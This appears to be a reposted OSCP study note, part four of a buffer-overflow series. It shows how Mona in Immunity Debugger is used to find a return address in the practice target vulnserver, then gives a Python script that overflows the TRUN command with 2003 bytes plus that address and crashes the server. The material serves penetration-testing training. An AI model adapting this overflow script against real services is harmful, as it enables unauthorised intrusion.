OSCP Learning Notes - Buffer Overflows(4)

本文详细介绍如何使用Mona模块定位并利用软件漏洞。通过下载并配置Mona模块,设置断点,运行测试脚本,最终使目标服务器崩溃,演示了整个漏洞定位和利用的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Finding the Right Module(mona)

Mona Module Project website: https://github.com/corelan/mona

 1. Download mona.py, and drop it into the 'OyCommands' file.

2. Open the vulnserver and Immnity Debugger and attach the vulnserver.

3. Execute mona modules

 

625011af

Set the stop point on "625011af"

Then run the immunity debugger.

 4. Write the following Python test script, and perfom it on Kali Linux.

#!/usr/bin/python
import socket
import sys

shellcode = "A" * 2003 + "\xaf\x11\x50\x62"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    connect = s.connect(('10.0.0.XX',9999))
    s.send(('TRUN /.:/' + shellcode))
except:
    print "check debugger"
s.close()

 5. The vulnserver is crashed, 

 

转载于:https://www.cnblogs.com/keepmoving1113/p/11117202.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值